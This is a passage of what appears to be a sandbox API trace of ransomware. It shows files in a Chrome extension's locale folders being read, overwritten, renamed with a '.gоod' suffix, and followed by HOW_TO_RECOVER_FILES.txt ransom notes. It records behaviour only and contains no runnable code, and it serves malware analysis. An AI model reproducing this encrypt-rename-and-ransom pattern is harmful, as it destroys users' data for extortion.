data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3eecf50 | out: lpFileInformation=0x3eecf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85c6b72, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85c6a92, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b49f04, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xd9)) returned 1 [0256.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0256.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json", lpFilePart=0x0) returned 0x89 [0256.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0256.749] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0256.749] GetFileType (hFile=0x808) returned 0x1 [0256.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0256.749] GetFileType (hFile=0x808) returned 0x1 [0256.749] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xd9 [0256.749] ReadFile (in: hFile=0x808, lpBuffer=0x3eed3e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x3eed3e8*, lpNumberOfBytesRead=0x209ebc98*=0xd9, lpOverlapped=0x0) returned 1 [0256.750] CloseHandle (hObject=0x808) returned 1 [0258.690] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json", lpFilePart=0x0) returned 0x89 [0258.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0258.691] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0258.691] GetFileType (hFile=0x8a8) returned 0x1 [0258.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0258.691] GetFileType (hFile=0x8a8) returned 0x1 [0258.691] WriteFile (in: hFile=0x8a8, lpBuffer=0x38658d0*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x38658d0*, lpNumberOfBytesWritten=0x209ebba8*=0xe0, lpOverlapped=0x0) returned 1 [0258.692] CloseHandle (hObject=0x8a8) returned 1 [0258.692] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json", lpFilePart=0x0) returned 0x89 [0258.692] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0258.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0258.692] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85c6b72, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85c6a92, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x966729a5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe0)) returned 1 [0258.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0258.692] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\messages.json.gоod")) returned 1 [0258.693] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0258.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0258.693] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ko\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a8 [0258.693] GetFileType (hFile=0x8a8) returned 0x1 [0258.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0258.693] GetFileType (hFile=0x8a8) returned 0x1 [0258.694] WriteFile (in: hFile=0x8a8, lpBuffer=0x3869208*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3869208*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0258.694] CloseHandle (hObject=0x8a8) returned 1 [0258.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0258.695] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo", lpFilePart=0x0) returned 0x7b [0258.695] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85ce0a7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85d2ebd, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85d2ebd, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae00 [0258.695] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85ce0a7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85d2ebd, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85d2ebd, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.695] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85d2ebd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85d2de2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0258.695] FindNextFileW (in: hFindFile=0x134ae00, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0258.790] FindClose (in: hFindFile=0x134ae00 | out: hFindFile=0x134ae00) returned 1 [0258.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0258.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0259.159] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0259.159] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo", lpFilePart=0x0) returned 0x7b [0259.159] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85ce0a7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85d2ebd, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85d2ebd, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a800 [0259.190] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85ce0a7, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85d2ebd, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85d2ebd, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.190] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85d2ebd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85d2de2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0259.191] FindNextFileW (in: hFindFile=0x134a800, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85d2ebd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85d2de2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0259.191] FindClose (in: hFindFile=0x134a800 | out: hFindFile=0x134a800) returned 1 [0259.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0259.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0259.191] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json", lpFilePart=0x0) returned 0x89 [0259.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0259.191] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x38f8118 | out: lpFileInformation=0x38f8118*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85d2ebd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85d2de2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x1c2)) returned 1 [0259.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0259.192] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json", lpFilePart=0x0) returned 0x89 [0259.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0259.192] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0259.192] GetFileType (hFile=0x86c) returned 0x1 [0259.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0259.192] GetFileType (hFile=0x86c) returned 0x1 [0259.192] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x1c2 [0259.192] ReadFile (in: hFile=0x86c, lpBuffer=0x38f86c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x38f86c8*, lpNumberOfBytesRead=0x209ebc98*=0x1c2, lpOverlapped=0x0) returned 1 [0259.192] CloseHandle (hObject=0x86c) returned 1 [0259.348] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json", lpFilePart=0x0) returned 0x89 [0259.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0259.348] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0259.348] GetFileType (hFile=0x86c) returned 0x1 [0259.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0259.348] GetFileType (hFile=0x86c) returned 0x1 [0259.349] WriteFile (in: hFile=0x86c, lpBuffer=0x3770e68*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x3770e68*, lpNumberOfBytesWritten=0x209ebba8*=0x1d0, lpOverlapped=0x0) returned 1 [0259.349] CloseHandle (hObject=0x86c) returned 1 [0259.349] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json", lpFilePart=0x0) returned 0x89 [0259.349] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0259.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0259.349] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe85d2ebd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85d2de2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x96ccddd7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0259.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0259.349] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\messages.json.gоod")) returned 1 [0259.350] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0259.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0259.350] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lo\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0259.351] GetFileType (hFile=0x86c) returned 0x1 [0259.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0259.351] GetFileType (hFile=0x86c) returned 0x1 [0259.351] WriteFile (in: hFile=0x86c, lpBuffer=0x37747a0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x37747a0*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0259.351] CloseHandle (hObject=0x86c) returned 1 [0259.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0259.352] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt", lpFilePart=0x0) returned 0x7b [0259.352] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\lt\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85da3f8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85e1930, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85e1930, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0259.352] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe85da3f8, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe85e1930, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe85e1930, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 